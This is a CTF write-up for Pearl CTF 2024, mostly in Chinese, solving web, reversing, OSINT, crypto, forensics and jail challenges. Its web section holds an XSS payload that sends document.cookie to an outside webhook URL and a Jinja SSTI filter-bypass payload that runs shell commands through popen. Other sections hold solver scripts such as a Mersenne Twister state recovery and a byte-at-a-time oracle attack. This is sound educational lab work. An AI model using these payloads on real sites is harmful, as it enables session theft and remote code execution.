owned this note
owned this note
Published
Linked with GitHub
# Pearl CTF 2024- CakeisTheFake - Writeup
![image](https://hackmd.io/_uploads/rycQECqpa.png)
> Team : CakeisTheFake
>Rank : 16/605
# Web
## learn HTTP
題目是一個web service,會把使用者丟進去的get參數在後端處理後變封包丟出來:
![image](https://hackmd.io/_uploads/H1VlNj9a6.png)
然後有個`/flag`的路徑會去驗證你的cookie,是的話才可以拿到flag。
標準的XSS:
**payload**
```
HTTP/1.1 200 OK
<script>fetch("http://webhook.site/c9e321c1-b9d5-4b55-9d10-f1feec26a1d0?shark="+document.cookie)</script>
```
變成URL ENCODE後:
```
HTTP/1.1%20200%20OK%0D%0A%0D%0A%3Cscript%3Efetch(%22http://webhook.site/c9e321c1-b9d5-4b55-9d10-f1feec26a1d0?shark=%22%2Bdocument.cookie)%3C/script%3E
```
在webhook拿到token:
![image](https://hackmd.io/_uploads/H1KcVsqTa.png)
**token**
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMDM5MjM5fQ.Pd53hD5jGx5GnHGYszpOUK8CjdLN3uUwXITubJrJ_kE
```
接著將token丟進pass檔案並利用`john`進行暴力破解:
**Command**
```bash
john pass --wordlist=/home/kali/rockyou.txt
```
![image](https://hackmd.io/_uploads/H1n6Escap.png)
根據觀察原始碼的結果,必須將id改為2
![image](https://hackmd.io/_uploads/Hklgso96T.png)
利用jwt.io配合john的結果將token算出來,造訪`/flag`的路徑。
![image](https://hackmd.io/_uploads/SJnHooc66.png)
拿到flag XD
## I am a web-noob
這裡可以SSTI
![image](https://hackmd.io/_uploads/H16YXo9aa.png)
經過幾次嘗試發現他過濾很多東西,ex:`{{`、`_`、`[`等
這裡你可以用一種方法來繞過filter來RCE
```
?user={%print(""|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(154))%}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__
```
等價
```
''.__class__.__base__.__subclasses__()[154]
```
所以直接構造一個讀flag.txt的就好了
![image](https://hackmd.io/_uploads/S1oFNiq6p.png)
# rabithole
去/robots.txt
會看到一條路徑
之後會看到/hardworking,可以發現他允許的有個奇怪的
![image](https://hackmd.io/_uploads/HyTfWA9Ta.png)
改用這個直接去訪問
![image](https://hackmd.io/_uploads/HkaVWC5ap.png)
> FLAG: pearl{c0ngr4t5_but_th1s_1s_just_th3_b3g1nn1ng}
**payload**
```
?user={%print((""|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(154)|attr(request.args.e)|attr(request.args.f)|attr(request.args.d)(request.args.g)(request.args.rce)).read())%}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&rce=cat /app/flag.txt
```
> FLAG: pearl{W4s_my_p4ge_s3cur3_en0ugh_f0r_y0u?}
# reverse
## input-validator
jadx reverse他
![image](https://hackmd.io/_uploads/S1w9apqap.png)
反著做
**Script**
```python=
qq="oF/M5BK_U<rqxCf8zWCPC(RK,/B'v3uARD"
a=[1102, 1067, 1032, 1562, 1612, 1257, 1562, 1067, 1012, 902, 882, 1397, 1472, 1312, 1442, 1582, 1067, 1263, 1363, 1413, 1379, 1311, 1187, 1285, 1217, 1313, 1297, 1431, 1137, 1273, 1161, 1339, 1267, 1427]
b=[0 for i in range(34)]
flag = ''
for i in range(34):
a[i] -= 1337
for i in range(17):
b[1+2*i]=a[i]//5
b[2*i]=a[i+17]//2
for i in range(34):
b[i] = b[i] + ord(qq[33 - i])
for i in range(34):
flag+=chr(b[i]^ord(qq[i]))
print(flag)
```
## not-so-easy
f()這個函式會使v1=0,所以如果我想知道正確的輸出,應該要先刪掉他
![image](https://hackmd.io/_uploads/Hy-b0T5T6.png)
然後有兩百個檔案做兩百次
直接寫個腳本patch掉,反正就找到那個位置就可以了
![image](https://hackmd.io/_uploads/HyhAA65ap.png)
```python=
byte_address1 = 0x1154
byte_address2 = 0x1198
byte_address3 = 0x11B9
for i in range(200):
with open(f'binaries/not-so-easy-{i}',"rb") as f:
binary_data = f.read()
modified_data=binary_data[:byte_address1]+b'\x90\x90\x90\x90\x90'+binary_data[byte_address1+5:byte_address2]+b'\x90\x90\x90\x90\x90'+binary_data[byte_address2+5:byte_address3]+b'\x90\x90\x90\x90\x90'+binary_data[byte_address3+5:]
with open(f'binaries/not-so-easy-{i}',"wb") as f:
f.write(modified_data)
```
手按200次gdb太累了,直接寫腳本
**.gdb**
```gdb
b *0x5555555551da
r
p/c $rax
c
```
**.sh**
```shell
for((i=0;i<=199;i++));
do
chmod +x not-so-easy-$i
gdb --batch not-so-easy-$i --command=easy.gdb|tail -n 2
done
```
![image](https://hackmd.io/_uploads/H1goyRqTp.png)
> FLAG: pearl{d1d_y0u_aut0m4t3_0r_4r3_y0u_h4rdw0rk1ng_?}
# OSINT
![letter (1)](https://hackmd.io/_uploads/BJNVlC566.jpg)
```
City -> "J":
Jaipur (Rajasthan)
Jodhpur (Rajasthan)
Jaisalmer (Rajasthan)
Jammu (Jammu and Kashmir)
Jabalpur (Madhya Pradesh)
Jamshedpur (Jharkhand)
Jalgaon (Maharashtra)
Junagadh (Gujarat)
Jhansi (Uttar Pradesh)
Jalna (Maharashtra)
Jamnagar (Gujarat)
Jhunjhunu (Rajasthan)
Jagdalpur (Chhattisgarh)
Jagadhri (Haryana)
Jharsuguda (Odisha)
Jagraon (Punjab)
Jeypore (Odisha)
Jind (Haryana)
Jajpur (Odisha)
Jagtial (Telangana)
Jhargram (West Bengal)
Jatani (Odisha)
Jaynagar (Bihar)
Jhanjharpur (Bihar)
States -> "T":
Telangana
Tamil Nadu
Tripura
```
https://www.prokerala.com/pincode/india.html
之後直接暴力搜索看符合5x5x2x的pincode
> FLAG: pearl{jagtial_telangana}
# Crypto
## 3 spies
**source.py**
```py
#!/usr/bin/env python3
from Crypto.Util.number import getPrime, bytes_to_long
with open('flag.txt', 'rb') as f:
flag = f.read()
n1 = getPrime(512)*getPrime(512)
n2 = getPrime(512)*getPrime(512)
n3 = getPrime(512)*getPrime(512)
e=3
m = bytes_to_long(flag)
c1 = pow(m,e,n1)
c2 = pow(m,e,n2)
c3 = pow(m,e,n3)
with open('encrypted-messages.txt', 'w') as f:
f.write(f'n1: {n1}\n')
f.write(f'e: {e}\n')
f.write(f'c1: {c1}\n\n')
f.write(f'n2: {n2}\n')
f.write(f'e: {e}\n')
f.write(f'c2: {c2}\n\n')
f.write(f'n3: {n3}\n')
f.write(f'e: {e}\n')
f.write(f'c3: {c3}\n')
```
標準的 boardcast attack
直接在sage `crt([c1, c2, c3],[n1, n2, n3])`算下去再開三次根號就好
![image](https://hackmd.io/_uploads/ryrdXhcTp.png)
得到url`https://pastes.io/1yjswxlvl2`
頁面內容:
![image](https://hackmd.io/_uploads/By5sm25Tp.png)
丟到解碼工具 CyberChef 得到結果是一張圖片檔案,下載後就拿到flagㄌ
![image](https://hackmd.io/_uploads/S1MJ4nc6a.png)
**flag**
![download](https://hackmd.io/_uploads/S1aJ43qT6.jpg)
> FLAG: pearl{gOOd_jOb_bu7_7h15_15_4_b4by_On3}
## Baby's Message Out
**chall.py**
```py
#!/usr/bin/env python3
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from flag import FLAG
from math import log
import sys
n = pow(10, 5)
sys.setrecursionlimit(n)
def nextPrime(p):
if isPrime(p):
return p
else:
return nextPrime(p + 61)
p = getPrime(256)
q = nextPrime(nextPrime(17*p + 1) + 3)
r = nextPrime(29*p*q)
s = nextPrime(q*r + p)
t = nextPrime(r*s*q)
n = p*q*r*s*t
e = 65537
m = bytes_to_long(FLAG.encode())
c = pow(m, e, n)
print(f"c: {c}")
print(f"n: {n}")
```
簡單觀察,$n$會很接近$p*[(17*p)*(17*29*p^2)*(17^2*29*p^3+p)]^2$
丟sage math:
```py
sage: P.<p>=PolynomialRing(Zmod(2**1000))
sage: f=p*((17*p)*(17*29*p^2)*(17^2*29*p^3+p))^2
sage: f
4933820698627921*p^13 + 1177382340682*p^11 + 70241161*p^9
```
所以 $p^{13} \fallingdotseq \frac{n}{4933820698627921}$
撰寫腳本取逼近,成功得到$p$的值
```py
sage: ps=int(iroot(n//4933820698627921, 13)[0])
sage: for i in range(100000):
....: if n%(ps-i)==0:
....: p=ps-i
....: break
....:
sage: p
99882362437773265966124030773296517807358944792642701044820437308947621061961
```
按照題目提供的函數算回去q, r, s, t
![image](https://hackmd.io/_uploads/rkh0Ih5pT.png)
成功拿到flag :D
> FLAG: pearl{4h1s_0n3_w4s_f0r_7h3_k1ds}
#### Security++
其實就是典型的Prepend Oracle...,但不知道為什麼做出來的人那麼少(
**secure.py**
```py
from flag import flag, key
from base64 import b64encode
from enc import encrypt_block, pad
def encrypt(data: bytes):
pt = data + flag
pt = pad(pt)
block_count = len(pt) // 16
encText = b''
for i in range(block_count):
if i % 2 == 0:
encText += encrypt_block(pt[i * 16:i * 16 + 16], key[0:16])
else:
encText += encrypt_block(pt[i * 16:i * 16 + 16], key[16:])
return encText
def main():
while 1:
msg = input("\nEnter plaintext: ").strip()
res = encrypt(msg.encode())
print(b64encode(res).decode())
if __name__ == '__main__':
main()
```
**enc.py**
```py
from copy import copy
s_box = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
def bytes2matrix(text):
return [list(text[i:i + 4]) for i in range(0, len(text), 4)]
def matrix2bytes(m):
plaintext = b''
for row in range(4):
for j in range(4):
plaintext += chr(m[row][j]).encode('latin-1')
return plaintext
def pad(text: bytes):
if len(text) % 16 != 0:
pad_len = ((len(text) // 16) + 1) * 16 - len(text)
else:
pad_len = 0
text = text.ljust(len(text) + pad_len, b'.')
return text
def sub_bytes(state, sbox):
for i in range(len(state)):
for j in range(4):
state[i][j] = sbox[state[i][j]]
return state
def shift_rows(s):
s[1][0], s[1][1], s[1][2], s[1][3] = s[1][1], s[1][2], s[1][3], s[1][0]
s[2][0], s[2][1], s[2][2], s[2][3] = s[2][2], s[2][3], s[2][0], s[2][1]
s[3][0], s[3][1], s[3][2], s[3][3] = s[3][3], s[3][0], s[3][1], s[3][2]
return s
def gmul(a, b):
if b == 1:
return a
tmp = (a << 1) & 0xff
if b == 2:
return tmp if a < 128 else tmp ^ 0x1b
if b == 3:
return gmul(a, 2) ^ a
def mix_col(col):
temp = copy(col)
col[0] = gmul(temp[0], 2) ^ gmul(temp[1], 3) ^ gmul(temp[2], 1) ^ gmul(temp[3], 1)
col[1] = gmul(temp[0], 1) ^ gmul(temp[1], 2) ^ gmul(temp[2], 3) ^ gmul(temp[3], 1)
col[2] = gmul(temp[0], 1) ^ gmul(temp[1], 1) ^ gmul(temp[2], 2) ^ gmul(temp[3], 3)
col[3] = gmul(temp[0], 3) ^ gmul(temp[1], 1) ^ gmul(temp[2], 1) ^ gmul(temp[3], 2)
return col
def add_round_key(state, round_key):
for i in range(len(state)):
for j in range(len(state[0])):
state[i][j] = state[i][j] ^ round_key[i][j]
return state
def encrypt_block(ptext: bytes, key):
cipher = ptext
rkey = bytes2matrix(key)
for i in range(10):
ctext = bytes2matrix(cipher)
ctext = sub_bytes(ctext, s_box)
ctext = shift_rows(ctext)
temp = copy(ctext)
for j in range(4):
column = [temp[0][j], temp[1][j], temp[2][j], temp[3][j]]
column = mix_col(column)
for k in range(4):
ctext[k][j] = column[k]
ctext = add_round_key(ctext, rkey)
cipher = matrix2bytes(ctext)
return cipher
```
簡單來說,每16 BYTES一個塊,然後會把FLAG丟到你給的訊息最後面再加密,那不就是 Prepend Oracle 🫠
**solution.py**
```py
from pwn import *
from base64 import *
r=remote('dyn.ctf.pearlctf.in', 30015)
flag=b''
def oracle(data):
s=r.recvuntil(b': ')
# print(s)
r.sendline(data)
s=r.recvuntil(b'\n').decode()
# print(s)
# print(b64decode(s))
return b64decode(s)
for i in range(32):
padding=b'A'*(32-1-i)
test=oracle(padding)
for c in string.printable:
if oracle(padding+flag+c.encode())[:32]==test[:32]:
# print(test)
# print(oracle(padding+flag+c.encode()))
flag=flag+c.encode()
print(flag, i)
break
```
搞定
![image](https://hackmd.io/_uploads/Bk9KchqTp.png)
> FLAG: pearl{n0y_sn34ky_A3S+3encrypt10n}
# forensic
## Excel-Mayhem
![image](https://hackmd.io/_uploads/HkxCZC9Tp.png)
直接Ctrl+F 找
> Flag: pearl{h3ll_0f_4n_3xc3l}
## pcap-busterz-1
用wireshark打開他
![image](https://hackmd.io/_uploads/r198m05Tp.png)
用follow -> TCP stream找到了這個
![image](https://hackmd.io/_uploads/B1hcXR9TT.png)
看起來應該可以藉由座標跟顏色來畫出一張圖,直接寫腳本
**Script**
```python=
data = '''
x=75, y=38, color=black
x=91, y=94, color=white
x=27, y=78, color=white...
'''
line = data.strip().split('\n')
x = []
y = []
z = []
for i in line:
p = i.split(', ')
x_value = int(p[0].split('=')[1])
y_value = int(p[1].split('=')[1])
color_value = p[2].split('=')[1]
x.append(x_value)
y.append(y_value)
z.append(color_value)
# print(len(x),len(y),len(z))
image = Image.new("RGB", (300, 300), color="white")
draw = ImageDraw.Draw(image)
for i in range(len(x)):
if z[i]=="black":
draw.point((x[i],y[i]),fill="black")
image.save("output_image.png")
image.show()
```
組出了QRcode,掃一下就可以了
![image](https://hackmd.io/_uploads/BJjA70c6a.png)
> Flag: pearl{QR_rev0lution1ses_mod3rn_data_handl1ng}
# Misc
**jail.py**
```py
#!/usr/local/bin/python
import time
flag="pearl{f4k3_fl4g}"
blacklist=list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`![]{},<>/123456789")
def banner():
file=open("txt.txt","r").read()
print(file)
def check_blocklist(string):
for i in string:
if i in blacklist:
return(0)
return(1)
def main():
banner()
cmd=input(">>> ")
time.sleep(1)
if(check_blocklist(cmd)):
try:
print(eval(cmd))
except:
print("Sorry no valid output to show.")
else:
print("Your sentence has been increased by 2 years for attempted escape.")
main()
```
直接找UNICODE字元繞過檢查但是python還是會執行XD
**payload**
```
𝑓𝑙𝑎𝘨
```
![image](https://hackmd.io/_uploads/S1OSYh9TT.png)
> FLAG: pearl{it_w4s_t00_e4sy}
#### TooRandom
**main.py**
```py
from flask import Flask
from flask import render_template
from flask import redirect
from flask import request
import random
app = Flask(__name__)
app.secret_key = "secret_key"
seed = random.getrandbits(32)
random.seed(seed)
flag_no = None
def generate_user_ids():
global flag_no
random_numbers = []
for i in range(1000000):
random_number = random.getrandbits(32)
random_numbers.append(random_number)
flag_no = random_numbers[-1]
print(flag_no)
st_id = 624
end_id = 999999
del random_numbers[st_id:end_id]
return random_numbers
user_ids = generate_user_ids()
j = 0
@app.route('/')
def home():
return redirect('/dashboard')
@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
global j
id_no = user_ids[j%624]
j += 1
if request.method == 'POST':
number = int(request.form['number'])
if number == flag_no:
return redirect('/flagkeeper')
else:
return redirect('/wrongnumber')
return render_template('dashboard.html', number=id_no)
@app.route('/flagkeeper')
def flagkeeper_dashboard():
return render_template('flag_keeper.html', user_id=flag_no)
@app.route('/wrongnumber')
def wrong_number():
return render_template('wrong_number.html')
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")
```
觀察結構,大概就是你會拿到624個數字,然後你要推出一開始的種子算出來的第1000000個數字是什麼。
此外,這題是以instance的方式出現,也就是說每個隊伍各自獨立的網站而且可以自由開啟和關閉。
~~馬上開啟後叫隊友不要打最重要~~
為什麼這樣說呢?因為有個Curious那時候跟我同時在打,場面一度尷尬極了(
解法的話因為624個數字(還都是32 bits,超佛心),剛好就直接MT-19937的crack就好。
**Script**
```py
import requests as req
import random
from tqdm import *
front='<!DOCTYPE html>\n<html lang="en">\n<head>\n <meta charset="UTF-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n <title>Dashboard</title>\n <style>\n body {\n font-family: Arial, sans-serif;\n background-color: #f7f7f7;\n margin: 0;\n padding: 0;\n display: flex;\n justify-content: center;\n align-items: center;\n height: 100vh;\n }\n\n .container {\n background-color: #fff;\n padding: 20px;\n border-radius: 8px;\n box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);\n }\n\n h1 {\n color: #333;\n margin-bottom: 20px;\n text-align: center;\n }\n\n form {\n display: flex;\n flex-direction: column;\n align-items: center;\n }\n\n label {\n font-size: 18px;\n color: #555;\n margin-bottom: 10px;\n }\n\n input[type="text"] {\n width: 100%;\n padding: 10px;\n font-size: 16px;\n border: 1px solid #ccc;\n border-radius: 4px;\n margin-bottom: 20px;\n box-sizing: border-box;\n }\n\n button {\n padding: 10px 20px;\n font-size: 16px;\n background-color: #4caf50;\n color: white;\n border: none;\n border-radius: 4px;\n cursor: pointer;\n transition: background-color 0.3s;\n }\n\n button:hover {\n background-color: #45a049;\n }\n </style>\n</head>\n<body>\n <div class="container">\n <h1>Welcome, player!!</h1>\n <h2>Number : '
foot='</h2>\n <form action="/dashboard" method="POST">\n <label for="number">Enter Number:</label> \n <input type="text" id="number" name="number" required><br> \n <button type="submit">Submit</button>\n </form>\n </div>\n</body>\n</html>'
url='https://toorandom-3612d37548e5ed9d.ctf.pearlctf.in/dashboard'
def untemper(rand):
rand ^= rand >> 18
rand ^= (rand << 15) & 0xefc60000
a = rand ^ ((rand << 7) & 0x9d2c5680)
b = rand ^ ((a << 7) & 0x9d2c5680)
c = rand ^ ((b << 7) & 0x9d2c5680)
d = rand ^ ((c << 7) & 0x9d2c5680)
rand = rand ^ ((d << 7) & 0x9d2c5680)
rand ^= ((rand ^ (rand >> 11)) >> 11)
return rand
state=[]
for i in tqdm(range(624)):
web=req.get(url)
cur=web.text.replace(front, '').replace(foot, '')
state.append(int(cur))
#print(state)
for i in range(624):
state[i]=untemper(state[i])
state.append(624)
random.setstate([3, tuple(state), None])
for i in range(1000000-624):
x=random.getrandbits(32)
if i==1000000-624-1:
print(x)
```
![image](https://hackmd.io/_uploads/SJpbn3qpp.png)
![image](https://hackmd.io/_uploads/r1zmhn5a6.png)
> FLAG: pearl{r4nd0m_15_n0t_50_r4nd0m}